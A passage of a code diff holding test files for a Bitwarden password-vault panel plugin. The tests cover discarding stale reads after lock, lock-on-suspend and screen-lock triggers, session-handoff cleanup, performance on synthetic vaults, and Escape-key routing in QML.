/Model\.autoLockExpired\(root\.autoLockArmedAt, root\.autoLockMinutes, Date\.now\(\)\)/.test(watchdog),
watchdog)
check("and locks when it has passed",
/root\.lockVault\(\)/.test(watchdog), watchdog)
// --- 4. A reader that outlived the vault it was reading ---------------------
check("same generation, session still there: fresh",
Model.vaultReadIsStale(3, 3, true) === false, "rejected a live result")
check("the vault changed hands: stale",
Model.vaultReadIsStale(3, 4, true) === true, "accepted a result from a previous vault")
check("no session at all: stale whatever the generation says",
Model.vaultReadIsStale(3, 3, false) === true, "accepted a result into a locked vault")
check("a reader that never recorded a generation is stale, not fresh",
Model.vaultReadIsStale(undefined, 0, true) === true, "unstamped read treated as fresh")
// Replay of the real sequence, with the panel's own logic standing in for the
// panel. `bw list items` is in flight; the vault locks; the list lands.
function fakePanel() {
return {
session: "SESSION-A",
vaultEpoch: 0,
readEpochs: {},
items: [],
itemsLoadedAt: 0,
beginVaultRead(name) { this.readEpochs[name] = this.vaultEpoch },
stale(name) { return Model.vaultReadIsStale(this.readEpochs[name], this.vaultEpoch, !!this.session) },
loadItems() { this.beginVaultRead("items") },
onListFinished(raw) {
if (this.stale("items")) return
this.items = Model.parseItems(raw)
this.itemsLoadedAt = 1
},
lockVault() { this.session = ""; this.vaultEpoch += 1; this.items = []; this.itemsLoadedAt = 0 },
unlockAs(token) { this.session = token; this.vaultEpoch += 1 }
}
}
const vaultA = JSON.stringify([
{ id: "a1", name: "Bank", type: 1, login: { username: "me", password: "hunter2" } }
])
const vaultB = JSON.stringify([
{ id: "b1", name: "Work", type: 1, login: { username: "work", password: "correct-horse" } }
])
let p = fakePanel()
p.loadItems()
p.lockVault()
p.onListFinished(vaultA)
check("a list that lands after the lock does not refill the vault",
p.items.length === 0, JSON.stringify(p.items))
p = fakePanel()
p.loadItems()
p.lockVault()
p.unlockAs("SESSION-B") // logged out and back in as somebody else
p.onListFinished(vaultA)
check("nor after a re-login, where it would have been drawn as the new account's",
p.items.length === 0, JSON.stringify(p.items))
p.loadItems()
p.onListFinished(vaultB)
check("the new account's own list is accepted",
p.items.length === 1 && p.items[0].id === "b1", JSON.stringify(p.items))
check("and the cache is not marked fresh off a discarded answer",
fakePanel().itemsLoadedAt === 0, "premise")
// Every reader the panel has, wired at both ends.
for (const [name, starter, handler] of [
["items", "loadItems", "onListFinished"],
["organizations", "loadOrganizations", "onListOrgsFinished"],
["folders", "loadFolders", "onListFoldersFinished"],
["collections", "loadOrgCollections", "onOrgCollectionsLoaded"],
["detail", "openDetail", "onDetailFinished"],
["totp", "startTotpFetch", "onTotpFinished"],
["sends", "loadSends", "onSendsLoaded"],
]) {
check(`${starter}() records the vault generation`,
new RegExp(`beginVaultRead\\("${name}"\\)`).test(bodyOf(starter)), bodyOf(starter))
check(`${handler}() refuses an answer from a vault that has closed`,
new RegExp(`if \\(vaultReadIsStale\\("${name}"\\)\\) return`).test(bodyOf(handler)), bodyOf(handler))
}
// Writers and generated values can outlive a lock too. Their server-side
// effect may already have happened, but no completion may repopulate the
// locked panel, copy a newly created Send URL, or navigate back to main.
for (const [name, starter, handler] of [
["sendCreate", "submitCreateSend", "onSendCreated"],
["sendDelete", "deleteSend", "onSendDeleted"],
["generator", "regenerate", "onGenerated"],
["folderCreate", "submitNewFolder", "onFolderCreated"],
["sync", "syncVault", "onSyncFinished"],
["itemSave", "saveItemForm", "onSaveItemFinished"],
["itemDelete", "deleteCurrentItem", "onDeleteItemFinished"],
["attachment", "pumpAttachmentQueue", "onAttachmentDownloaded"],
]) {
check(`${starter}() stamps the vault operation`,
new RegExp(`beginVaultRead\\("${name}"\\)`).test(bodyOf(starter)), bodyOf(starter))
check(`${handler}() drops a completion from a vault that has closed`,
new RegExp(`if \\(vaultReadIsStale\\("${name}"\\)\\)[\\s\\S]{0,140}return`).test(bodyOf(handler)), bodyOf(handler))
}
const droppedState = bodyOf("dropVaultState")
check("a queued TOTP request is pinned to the vault generation that queued it",
/totpQueuedEpoch\s*=\s*vaultEpoch/.test(bodyOf("fetchTotp"))
&& /queuedEpoch\s*===\s*root\.vaultEpoch/.test(bodyOf("continueTotpQueue")),
bodyOf("fetchTotp") + "\n" + bodyOf("continueTotpQueue"))
check("every status request records the current vault generation",
/beginEpochOperation\("status"\)/.test(bodyOf("runStatusCheck")), bodyOf("runStatusCheck"))
check("status completion refuses a result from an earlier vault generation",
/if \(epochOperationIsStale\("status"\)\) return/.test(bodyOf("onStatusFinished")),
bodyOf("onStatusFinished"))
check("status requests use the generation-stamped launcher",
(panelSrc.match(/statusProc\.running\s*=\s*true/g) || []).length === 1
&& /statusProc\.running\s*=\s*true/.test(bodyOf("runStatusCheck")),
`direct starts: ${(panelSrc.match(/statusProc\.running\s*=\s*true/g) || []).length}`)
check("session handoff reads record and verify their vault generation",
/beginEpochOperation\("sessionHandoff"\)/.test(bodyOf("refreshStatus"))
&& /if \(epochOperationIsStale\("sessionHandoff"\)\) return/.test(bodyOf("onSessionHandoff")),
bodyOf("refreshStatus") + "\n" + bodyOf("onSessionHandoff"))
check("remembered-session lookups record and verify their vault generation",
/beginEpochOperation\("keyringLookup"\)/.test(bodyOf("onSessionHandoff"))
&& /if \(epochOperationIsStale\("keyringLookup"\)\) return/.test(bodyOf("onKeyringLookupFinished")),
bodyOf("onSessionHandoff") + "\n" + bodyOf("onKeyringLookupFinished"))
check("logout closes any terminal handoff acceptance window",
/terminalLoginStartedAt\s*=\s*0/.test(bodyOf("logoutAccount")), bodyOf("logoutAccount"))
const abandonedAuth = bodyOf("abandonAuthSecrets")
check("abandoning authentication clears every typed or staged auth secret",
["masterPassword", "loginPassword", "loginClientId", "loginClientSecret", "login2faCode",
"pendingUnlockPassword", "authPasswordWriteValue", "pinEntry"].every(prop =>
new RegExp(`\\b${prop}\\s*=\\s*""`).test(abandonedAuth)),
abandonedAuth)
check("handoff, external unlock, and panel hide purge abandoned auth secrets",
/cancelAuthPrewarm\(\)[\s\S]{0,100}abandonAuthSecrets\(\)/.test(bodyOf("onSessionHandoff"))
&& /if\s*\(st\.unlocked\)[\s\S]{0,120}abandonAuthSecrets\(\)/.test(bodyOf("onStatusFinished"))
&& /onOpenedChanged:[\s\S]{0,180}else[\s\S]{0,120}abandonAuthSecrets\(\)/.test(panelSrc),
bodyOf("onSessionHandoff") + "\n" + bodyOf("onStatusFinished"))
check("closing the panel invalidates PIN and fingerprint unlock completions",
/abandonAuthSecrets\(\)/.test(bodyOf("close"))
&& /pinUnlockSubmitted\s*=\s*false/.test(abandonedAuth)
&& /cancelFingerprintUnlock\(\)/.test(bodyOf("close")), bodyOf("close"))
check("closing the panel cancels authentication-method setup writes",
/abandonPinSetup\(\)/.test(bodyOf("close"))
&& /abandonFingerprintSetup\(\)/.test(bodyOf("close")), bodyOf("close"))
check("leaving either authentication setup form cancels its in-flight write",
/currentScreen\s*!==\s*"pin"[\s\S]*abandonPinSetup\(\)/.test(panelSrc)
&& /currentScreen\s*!==\s*"fingerprint"[\s\S]*abandonFingerprintSetup\(\)/.test(panelSrc)
&& /invalidateEpochOperation\("pinStore"\)/.test(bodyOf("abandonPinSetup"))
&& /invalidateEpochOperation\("masterStore"\)/.test(bodyOf("abandonFingerprintSetup")),
bodyOf("abandonPinSetup") + "\n" + bodyOf("abandonFingerprintSetup"))
check("PIN completion requires a still-active submitted unlock",
/pinUnlockSubmitted\s*&&\s*sshAuthSurfaceActive\s*&&\s*status\s*===\s*"locked"/.test(bodyOf("onPinUnlockResult")),
bodyOf("onPinUnlockResult"))
check("fingerprint password retrieval requires a live verified attempt",
/fingerprintAuthorized/.test(bodyOf("onFingerprintPasswordRetrieved"))
&& /sshAuthSurfaceActive/.test(bodyOf("onFingerprintPasswordRetrieved"))
&& /status\s*!==\s*"locked"/.test(bodyOf("onFingerprintPasswordRetrieved")),
bodyOf("onFingerprintPasswordRetrieved"))
check("remembered-session stores are generation-stamped and stale stores are cleared",
/beginEpochOperation\("sessionStore"\)/.test(bodyOf("storeCurrentSession"))
&& /epochOperationIsStale\("sessionStore"\)/.test(bodyOf("onSessionStored"))
&& /requestSessionCredentialClear\(\)/.test(bodyOf("onSessionStored")),
bodyOf("storeCurrentSession") + "\n" + bodyOf("onSessionStored"))
check("a newer session waits for an old store and its cleanup before being remembered",
/keyringStoreProc\.running\s*\|\|\s*keyringClearProc\.running/.test(bodyOf("storeCurrentSession"))
&& /sessionStorePending\s*=\s*true/.test(bodyOf("storeCurrentSession"))
&& /sessionStorePending\s*=\s*rememberSession\s*&&\s*status\s*===\s*"unlocked"\s*&&\s*!!session/.test(bodyOf("onSessionStored"))
&& /sessionStorePending[\s\S]{0,100}storeCurrentSession/.test(panelSrc.slice(
panelSrc.indexOf("id: keyringClearProc"), panelSrc.indexOf("id: listFoldersProc"))),
bodyOf("storeCurrentSession") + "\n" + bodyOf("onSessionStored"))
check("PIN stores cannot recreate a credential after the vault generation changes",
/beginEpochOperation\("pinStore"\)/.test(bodyOf("submitPinSetup"))
&& /epochOperationIsStale\("pinStore"\)/.test(bodyOf("onPinStored"))
&& /requestPinCredentialClear\(\)/.test(bodyOf("onPinStored")),
bodyOf("submitPinSetup") + "\n" + bodyOf("onPinStored"))
check("master-password stores cannot recreate a credential after lock or logout",
/beginEpochOperation\("masterStore"\)/.test(bodyOf("submitFingerprintSetup"))
&& /epochOperationIsStale\("masterStore"\)/.test(bodyOf("onMasterPasswordStored"))
&& /requestMasterCredentialClear\(\)/.test(bodyOf("onMasterPasswordStored")),
bodyOf("submitFingerprintSetup") + "\n" + bodyOf("onMasterPasswordStored"))
check("a learned-association read cannot repopulate account metadata after logout",
/associationsReadEpoch\s*=\s*associationsEpoch/.test(bodyOf("loadAssociations"))
&& /associationsReadEpoch\s*!==\s*associationsEpoch/.test(bodyOf("onAssociationsLoaded"))
&& /associationsEpoch\s*\+=\s*1/.test(bodyOf("forgetStoredCredentials")),
bodyOf("loadAssociations") + "\n" + bodyOf("onAssociationsLoaded")
+ "\n" + bodyOf("forgetStoredCredentials"))
check("credential clears requested during another clear are repeated afterward",
/sessionClearPending\s*=\s*true/.test(bodyOf("requestSessionCredentialClear"))
&& /pinClearPending\s*=\s*true/.test(bodyOf("requestPinCredentialClear"))
&& /masterClearPending\s*=\s*true/.test(bodyOf("requestMasterCredentialClear"))
&& /allCredentialsClearPending\s*=\s*true/.test(bodyOf("requestAllCredentialClear")),
"one or more keyring clear paths cannot queue a repeat")
check("locking uses the centralized local vault purge",
/dropVaultState\(\)/.test(bodyOf("lockVault")), bodyOf("lockVault"))
check("unreadable, locked, and logged-out status results purge local vault state",
(bodyOf("onStatusFinished").match(/dropVaultState\(\)/g) || []).length >= 3,
bodyOf("onStatusFinished"))
for (const [prop, empty] of [
["session", '""'], ["items", "[]"], ["filteredItems", "[]"],
["organizations", "[]"], ["folders", "[]"], ["detailItem", "null"],
["formCollections", "[]"], ["formCollectionIds", "[]"],
["formUsername", '""'], ["formUri", '""'],
["formNotes", '""'],
]) {
check(`the local vault purge clears ${prop}`,
droppedState.includes(`${prop} = ${empty}`),
droppedState)
}
check("the local vault purge cancels and clears attachment work",
/cancelAttachmentDownloads\(\)/.test(droppedState)
&& /attachmentQueue\s*=\s*\[\]/.test(bodyOf("cancelAttachmentDownloads"))
&& /attachmentBusyId\s*=\s*""/.test(bodyOf("cancelAttachmentDownloads")),
droppedState + "\n" + bodyOf("cancelAttachmentDownloads"))
check("the local vault purge clears secret fields and collector buffers",
/dropVaultSecrets\(\)/.test(droppedState), droppedState)
for (const fn of ["onUnlockSuccess", "onSessionHandoff", "onKeyringLookupFinished"]) {
check(`${fn}() moves the vault generation on`,
/vaultEpoch \+= 1/.test(bodyOf(fn)), bodyOf(fn))
}
console.log(`${pass} passed, ${failures.length} failed`)
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
@@ -0,0 +1,277 @@
#!/usr/bin/env node
// Tests for the two events that lock the vault without waiting out the
// auto-lock countdown, and for the window in which a terminal login's session
// key is accepted.
//
// node tests/lock-triggers.test.js
const fs = require("fs")
const path = require("path")
const { execFileSync } = require("child_process")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.screenLockStateCommand = screenLockStateCommand
exports.screenIsLocked = screenIsLocked
exports.screenLockPollMs = screenLockPollMs
exports.sleepMonitorCommand = sleepMonitorCommand
exports.sleepSignalToken = sleepSignalToken
exports.wakeSignalToken = wakeSignalToken
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
exports.handoffWindowOpen = handoffWindowOpen
exports.handoffWindowMs = handoffWindowMs
exports.groupedSettings = groupedSettings
`)(Model)
let pass = 0
const failures = []
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
// -------------------------------------------------------------------------
// Screen lock
// -------------------------------------------------------------------------
// Only "true" is locked. A shell with the lock plugin disabled answers
// "Target not found." and exits non-zero; that is "no answer", and a vault
// that reads it as "locked" would relock itself every few seconds forever.
const LOCK_ANSWERS = [
["true", true],
["true\n", true],
[" true ", true],
["false", false],
["", false],
["Target not found.", false],
["TRUE", false],
["truthy", false],
[null, false],
[undefined, false],
]
for (const [raw, want] of LOCK_ANSWERS) {
check(`screenIsLocked(${JSON.stringify(raw)}) is ${want}`,
Model.screenIsLocked(raw) === want, String(Model.screenIsLocked(raw)))
}
const lockCmd = Model.screenLockStateCommand()
check("screen lock state is asked of the shell's own lock plugin",
lockCmd.join(" ").includes("omarchy-shell lock isLocked"), lockCmd.join(" "))
check("screen lock state bounds what it will read back",
/head -c \d+/.test(lockCmd.join(" ")), lockCmd.join(" "))
check("screen lock poll is a sane interval",
Model.screenLockPollMs() >= 1000 && Model.screenLockPollMs() <= 15000,
String(Model.screenLockPollMs()))
// -------------------------------------------------------------------------
// Suspend
// -------------------------------------------------------------------------
const sleepScript = Model.sleepMonitorCommand()[2]
check("suspend is taken from logind's PrepareForSleep",
sleepScript.includes("PrepareForSleep") && sleepScript.includes("org.freedesktop.login1"),
sleepScript)
// Without a delay inhibitor logind announces the sleep and suspends without
// waiting, so the lock would be racing the freeze.
check("a delay inhibitor is held so the lock lands before the freeze",
sleepScript.includes("--what=sleep") && sleepScript.includes("--mode=delay"),
sleepScript)
// sed quits on the match, but the monitor would then keep the pipeline open
// until it next wrote -- which is on the far side of the suspend. Killing it
// is what lets the inhibitor be released and the loop come round again.
check("the monitor is killed rather than left to a broken pipe",
sleepScript.includes("kill \"$g\""), sleepScript)
check("the loop never exits, so a failure cannot become a hot restart",
sleepScript.includes("while :; do") && /sleep 300/.test(sleepScript) && /sleep 5/.test(sleepScript),
sleepScript)
check("sed is unbuffered, so the token is not held back past the suspend",
/sed -une/.test(sleepScript), sleepScript)
// The end-to-end behaviour, against stubs standing in for gdbus and
// systemd-inhibit: the announcement has to produce exactly one token, the
// inhibitor has to be released about a second later, and the loop has to come
// round for the suspend after this one.
const os = require("os")
const work = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-lock-"))
try {
const log = path.join(work, "inhibit.log")
fs.writeFileSync(log, "")
// Real gdbus is a single process, so the stub execs its wait rather than
// backgrounding it -- otherwise the stub would leak a child that the real
// thing does not have.
fs.writeFileSync(path.join(work, "gdbus"), `#!/bin/bash
echo "Monitoring signals on object /org/freedesktop/login1 owned by org.freedesktop.login1"
echo "/org/freedesktop/login1: org.freedesktop.login1.Manager.PrepareForSleep (false,)"
echo "/org/freedesktop/login1: org.freedesktop.login1.Manager.PrepareForSleep (true,)"
exec sleep 600
`)
fs.writeFileSync(path.join(work, "systemd-inhibit"), `#!/bin/bash
while [[ "$1" == --* ]]; do shift; done
echo "ACQUIRED $(date +%s%3N)" >> "${log}"
"$@"; rc=$?
echo "RELEASED $(date +%s%3N)" >> "${log}"
exit $rc
`)
for (const f of ["gdbus", "systemd-inhibit"]) fs.chmodSync(path.join(work, f), 0o755)
const script = path.join(work, "cmd.sh")
fs.writeFileSync(script, sleepScript)
let out = ""
try {
out = execFileSync("bash", ["-c",
`PATH=${work}:$PATH timeout 4 bash ${script}`], { encoding: "utf8" })
} catch (e) {
out = String(e.stdout || "") // timeout always kills it; that is the point
}
const tokens = out.split("\n").map(s => s.trim()).filter(Boolean)
check("an announcement produces the sleep token",
tokens[0] === Model.sleepSignalToken(), JSON.stringify(tokens))
check("resuming produces the wake token",
tokens[1] === Model.wakeSignalToken(), JSON.stringify(tokens))
// A `false` announcement is a resume, not a sleep. Two tokens per cycle, so
// an odd count would mean the resume line matched as well.
check("only a true announcement counts as a sleep",
tokens.filter(t => t === Model.sleepSignalToken()).length
=== tokens.filter(t => t === Model.wakeSignalToken()).length
|| tokens[tokens.length - 1] === Model.sleepSignalToken(),
JSON.stringify(tokens))
// The bug this shape exists to avoid: the loop coming round only once.
check("the loop detects more than one suspend per session",
tokens.filter(t => t === Model.sleepSignalToken()).length >= 2,
JSON.stringify(tokens))
const entries = fs.readFileSync(log, "utf8").trim().split("\n").filter(Boolean)
const acquired = entries.filter(l => l.startsWith("ACQUIRED")).length
const released = entries.filter(l => l.startsWith("RELEASED")).length
check("an inhibitor is taken for every cycle",
acquired >= 2 && released >= 1 && acquired - released <= 1,
entries.join(" | "))
// Held about a second past the announcement, which is well inside logind's
// InhibitDelayMaxSec (5s by default) and long enough for the panel to drop
// the key and for the keyring clear it spawns to finish.
const firstAcquire = Number(entries[0].split(" ")[1])
const firstRelease = Number(entries.find(l => l.startsWith("RELEASED")).split(" ")[1])
const held = firstRelease - firstAcquire
check("the inhibitor is released promptly, not held across the suspend",
held >= 900 && held < 4000, `${held}ms`)
} finally {
fs.rmSync(work, { recursive: true, force: true })
}
// -------------------------------------------------------------------------
// Session handoff window
// -------------------------------------------------------------------------
const NOW = 1_700_000_000_000
const WINDOW = Model.handoffWindowMs()
check("the window is closed when no terminal login was ever launched",
Model.handoffWindowOpen(0, NOW) === false, "0")
check("the window is open right after launching one",
Model.handoffWindowOpen(NOW, NOW) === true, "same instant")
check("the window is still open partway through a slow login",
Model.handoffWindowOpen(NOW - WINDOW / 2, NOW) === true, "half the window")
check("the window is open at the boundary",
Model.handoffWindowOpen(NOW - WINDOW, NOW) === true, "exactly the window")
check("the window is closed past the boundary",
Model.handoffWindowOpen(NOW - WINDOW - 1, NOW) === false, "one ms past")
// A clock stepped backwards is evidence the clock moved, not that the login
// was recent, so it must not reopen the window.
check("a clock stepped backwards closes the window rather than reopening it",
Model.handoffWindowOpen(NOW + 60_000, NOW) === false, "start in the future")
check("a window long enough for a real 2FA login",
WINDOW >= 5 * 60 * 1000, `${WINDOW}ms`)
const expecting = Model.sessionHandoffReadCommand(true)[2]
const discarding = Model.sessionHandoffReadCommand(false)[2]
check("an expected handoff is read out",
expecting.includes("head -c"), expecting)
check("an unexpected handoff is not read out",
!discarding.includes("head -c"), discarding)
// Not reading it is not the same as leaving it there. A live session key in
// the runtime directory is the worse of the two outcomes.
check("an unexpected handoff is still removed",
discarding.includes("rm -f"), discarding)
check("an expected handoff is removed once consumed",
expecting.includes("rm -f"), expecting)
// Both forms, run for real against a planted file.
{
const runtime = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-handoff-"))
try {
const dir = path.join(runtime, "qs-bitwarden-cli")
fs.mkdirSync(dir)
const file = path.join(dir, "session-handoff")
const KEY = "A".repeat(88)
for (const [label, script, wantOut] of [
["expected", expecting, KEY],
["unexpected", discarding, ""],
]) {
fs.writeFileSync(file, KEY)
const out = execFileSync("bash", ["-c", script],
{ encoding: "utf8", env: { ...process.env, XDG_RUNTIME_DIR: runtime } })
check(`an ${label} handoff returns ${wantOut ? "the key" : "nothing"}`,
out.trim() === wantOut, JSON.stringify(out))
check(`an ${label} handoff leaves no file behind`,
!fs.existsSync(file), "file still present")
}
} finally {
fs.rmSync(runtime, { recursive: true, force: true })
}
}
// -------------------------------------------------------------------------
// Both settings reach the settings screen
// -------------------------------------------------------------------------
const keys = Model.groupedSettings().map(e => e.key)
for (const k of ["lockOnScreenLock", "lockOnSuspend"]) {
check(`${k} appears in the settings screen`, keys.includes(k), keys.join(", "))
const entry = Model.groupedSettings().find(e => e.key === k)
check(`${k} is a toggle in the Security group`,
entry.type === "bool" && entry.group === "security", JSON.stringify(entry))
}
// The manifest is what the shell reads defaults from, so the two have to agree.
const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8"))
for (const k of ["lockOnScreenLock", "lockOnSuspend"]) {
check(`${k} has a manifest default`,
manifest.barWidget.defaults[k] === true, JSON.stringify(manifest.barWidget.defaults[k]))
check(`${k} has a manifest schema entry`,
manifest.barWidget.schema.some(e => e.key === k && e.type === "boolean"), k)
}
// -------------------------------------------------------------------------
if (failures.length) {
console.error(`\n${failures.length} failure(s):\n`)
for (const f of failures) console.error(` ${f}\n`)
process.exit(1)
}
console.log(`lock-triggers.test.js: ${pass} checks passed`)
@@ -0,0 +1,164 @@
#!/usr/bin/env node
// Deterministic synthetic-vault performance guardrails. These measure the
// work the plugin owns after `bw list items` returns; they never read a real
// vault or make a network request.
//
// node tests/performance.test.js
const fs = require("fs")
const path = require("path")
const Model = {}
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
.replace(/^\.pragma library\s*$/m, "") + `
exports.parseItems = parseItems
exports.filterItems = filterItems
exports.findContextualMatches = findContextualMatches
`)(Model)
const MIB = 1024 * 1024
const tiers = [
{ name: "small", items: 100, bytes: Math.round(0.25 * MIB), folders: 10, orgs: 1,
parseP95Ms: 75, filterP95Ms: 50, contextP95Ms: 75 },
{ name: "typical", items: 500, bytes: 1 * MIB, folders: 50, orgs: 3,
parseP95Ms: 100, filterP95Ms: 75, contextP95Ms: 100 },
{ name: "large", items: 2000, bytes: 5 * MIB, folders: 200, orgs: 10,
parseP95Ms: 175, filterP95Ms: 100, contextP95Ms: 150 },
{ name: "stress", items: 5000, bytes: 14 * MIB, folders: 500, orgs: 25,
parseP95Ms: 300, filterP95Ms: 150, contextP95Ms: 250 }
]
let pass = 0
const failures = []
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
function fakeItem(index, tier) {
const ordinal = String(index).padStart(5, "0")
const kind = index % 10
const item = {
object: "item",
id: `00000000-0000-4000-8000-${String(index).padStart(12, "0")}`,
organizationId: index % 4 === 0 ? null : `org-${index % tier.orgs}`,
folderId: `folder-${index % tier.folders}`,
type: kind < 7 ? 1 : kind === 7 ? 2 : kind === 8 ? 3 : 4,
name: `Service ${ordinal}`,
notes: `Synthetic fixture note ${ordinal}`,
favorite: index % 17 === 0,
fields: [{ name: "fixture-field", value: `value-${ordinal}`, type: index % 2 }],
attachments: index % 23 === 0
? [{ id: `attachment-${index}`, fileName: `fixture-${ordinal}.txt`, size: "1024" }]
: []
}
if (item.type === 1) {
item.login = {
username: `user-${ordinal}@example.test`,
password: `not-a-real-password-${ordinal}`,
totp: index % 11 === 0 ? "JBSWY3DPEHPK3PXP" : null,
uris: [{ match: null, uri: `https://service-${index % 80}.example.test/login/${ordinal}` }]
}
} else if (item.type === 3) {
item.card = {
cardholderName: "Fixture Person", brand: "Visa", number: "4111111111111111",
expMonth: "04", expYear: "2030", code: "123"
}
} else if (item.type === 4) {
item.identity = {
firstName: "Fixture", lastName: ordinal, email: `identity-${ordinal}@example.test`,
phone: "5550100", address1: "1 Fixture Road", city: "Testville",
state: "TS", postalCode: "00000", country: "US"
}
}
return item
}
function buildFixture(tier) {
const items = []
for (let i = 0; i < tier.items; i++) items.push(fakeItem(i, tier))
// Spread deterministic padding across the entries so parseItems still does
// realistic per-item work instead of parsing one giant outlier note.
let raw = JSON.stringify(items)
const remaining = tier.bytes - Buffer.byteLength(raw)
if (remaining > 0) {
const paddingPerItem = Math.floor(remaining / tier.items)
const tail = remaining % tier.items
for (let i = 0; i < items.length; i++) {
items[i].notes += "x".repeat(paddingPerItem + (i < tail ? 1 : 0))
}
raw = JSON.stringify(items)
}
return raw
}
function timed(fn) {
const start = process.hrtime.bigint()
const value = fn()
return { value, ms: Number(process.hrtime.bigint() - start) / 1e6 }
}
function p95(values) {
const sorted = values.slice().sort((a, b) => a - b)
return sorted[Math.ceil(sorted.length * 0.95) - 1]
}
const results = []
for (const tier of tiers) {
const raw = buildFixture(tier)
const actualBytes = Buffer.byteLength(raw)
check(`${tier.name}: fixture item count`, JSON.parse(raw).length === tier.items,
`expected ${tier.items}`)
check(`${tier.name}: fixture payload size`,
actualBytes >= tier.bytes && actualBytes <= tier.bytes + tier.items * 2,
`expected approximately ${tier.bytes} bytes, got ${actualBytes}`)
// Warm V8 before collecting the samples so the guard measures steady-state
// panel work rather than Node's compilation of the test itself.
let parsed = Model.parseItems(raw)
Model.filterItems(parsed, "service 0004", "all", "all", "all")
Model.findContextualMatches(parsed,
{ class: "firefox", title: "Service 42 - Mozilla Firefox" }, {})
const parseSamples = []
const filterSamples = []
const contextSamples = []
for (let sample = 0; sample < 20; sample++) {
const parseRun = timed(() => Model.parseItems(raw))
parsed = parseRun.value
parseSamples.push(parseRun.ms)
filterSamples.push(timed(() => Model.filterItems(parsed,
sample % 2 ? "service 0042" : "user-0004", "all", "all", "all")).ms)
contextSamples.push(timed(() => Model.findContextualMatches(parsed,
{ class: "firefox", title: "Service 42 login - Mozilla Firefox" }, {})).ms)
}
const row = {
tier: tier.name,
items: tier.items,
mib: actualBytes / MIB,
parse: p95(parseSamples),
filter: p95(filterSamples),
context: p95(contextSamples)
}
results.push(row)
check(`${tier.name}: parse p95`, row.parse <= tier.parseP95Ms,
`${row.parse.toFixed(2)}ms > ${tier.parseP95Ms}ms`)
check(`${tier.name}: filter p95`, row.filter <= tier.filterP95Ms,
`${row.filter.toFixed(2)}ms > ${tier.filterP95Ms}ms`)
check(`${tier.name}: contextual match p95`, row.context <= tier.contextP95Ms,
`${row.context.toFixed(2)}ms > ${tier.contextP95Ms}ms`)
}
console.log("tier items MiB parse p95 filter p95 context p95")
for (const row of results) {
console.log(`${row.tier.padEnd(8)} ${String(row.items).padStart(5)} ${row.mib.toFixed(2).padStart(5)}`
+ ` ${(row.parse.toFixed(2) + "ms").padStart(9)}`
+ ` ${(row.filter.toFixed(2) + "ms").padStart(10)}`
+ ` ${(row.context.toFixed(2) + "ms").padStart(11)}`)
}
console.log(`\n${pass} passed, ${failures.length} failed`)
if (failures.length) {
console.error("\nFAILURES:\n " + failures.join("\n "))
process.exit(1)
}
@@ -0,0 +1,163 @@
// Escape must cancel out of a form, and the panel's key wiring makes that
// non-obvious enough to be worth pinning down. Two separate traps live here.
//
// 1. PanelKeyCatcher goes `blocked` on every screen built around a text field
// -- the item form, PIN, fingerprint, the Send composer -- and a blocked
// catcher drops ALL keys, Escape included. So Escape is dispatched from the
// shortcut interceptor, which the catcher reaches through Keys.forwardTo
// before its own handler and regardless of `blocked`.
//
// 2. Qt does NOT clear active focus when an item is hidden. The search field
// keeps focus behind the item form, and its own Keys.onEscapePressed used
// to fire from back there and close the whole panel. Two things stop that:
// the handler ignores Escape unless the search box is the current screen,
// and focus is re-homed whenever the screen changes.
//
// Needs Qt, which any machine running the plugin already has:
//
// QT_QPA_PLATFORM=offscreen qmltestrunner -input tests/qml
//
import QtQuick
import QtQuick.Controls
import QtTest
// Namespaced so the kit's own TextField (which needs the shell's import path)
// does not shadow the plain QtQuick.Controls one used below.
import "file:/usr/share/omarchy/shell/Ui" as OmarchyUi
TestCase {
id: tc
name: "EscapeRouting"
when: windowShown
width: 300; height: 200
visible: true
property string screenName: "main"
property int interceptorEscapes: 0
property int catcherCloses: 0
property int panelCloses: 0
property string trail: ""
// Stands in for Panel.qml's handleEscape().
function handleEscape() {
tc.interceptorEscapes++
tc.trail += "dispatch(" + tc.screenName + ") "
if (tc.screenName === "edit") tc.screenName = "main"
else tc.panelCloses++
}
onScreenNameChanged: restoreScreenFocus()
function restoreScreenFocus() {
if (tc.screenName === "main") searchField.forceActiveFocus()
else if (tc.screenName === "edit") formField.forceActiveFocus()
}
// Stands in for Panel.qml's shortcutInterceptor.
Item {
id: interceptor
Keys.onPressed: function(event) {
if (event.key === Qt.Key_Escape && !(event.modifiers & ~Qt.KeypadModifier)) {
tc.handleEscape()
event.accepted = true
}
}
}
OmarchyUi.PanelKeyCatcher {
id: catcher
anchors.fill: parent
Keys.forwardTo: [interceptor]
blocked: searchField.activeFocus || tc.screenName === "edit"
onCloseRequested: tc.catcherCloses++
Column {
anchors.fill: parent
Column {
visible: tc.screenName === "main"
TextField {
id: searchField
Keys.onEscapePressed: function(event) {
tc.trail += "searchField "
if (tc.screenName !== "main") { event.accepted = false; return }
if (text) text = ""
else tc.panelCloses++
}
}
}
Column {
visible: tc.screenName === "edit"
TextField { id: formField }
}
}
}
function init() {
tc.interceptorEscapes = 0
tc.catcherCloses = 0
tc.panelCloses = 0
tc.trail = ""
}
// The bug behind "Escape does nothing on the item form": on that screen the
// catcher is blocked and a field holds focus.
function test_1_escape_survives_a_blocked_catcher() {
tc.screenName = "edit"
formField.forceActiveFocus()
verify(formField.activeFocus, "the form field should hold focus")
keyClick(Qt.Key_Escape)
compare(tc.interceptorEscapes, 1, "Escape must reach the dispatch through a blocked catcher")
compare(tc.catcherCloses, 0, "a blocked catcher never fires closeRequested -- that was the bug")
compare(tc.panelCloses, 0, "and it must not close the panel")
}
// The bug behind "Escape closes the whole panel": hiding the main screen
// does not take focus off the search box, so it kept answering Escape.
function test_2_hidden_search_field_does_not_answer_escape() {
tc.screenName = "edit"
wait(0)
// Force the stale-owner state directly: focus the hidden search field
// while the form is showing. Re-homing normally prevents this, so this
// isolates the handler's own guard rather than leaning on that.
searchField.forceActiveFocus()
verify(searchField.activeFocus, "the hidden search field holds focus")
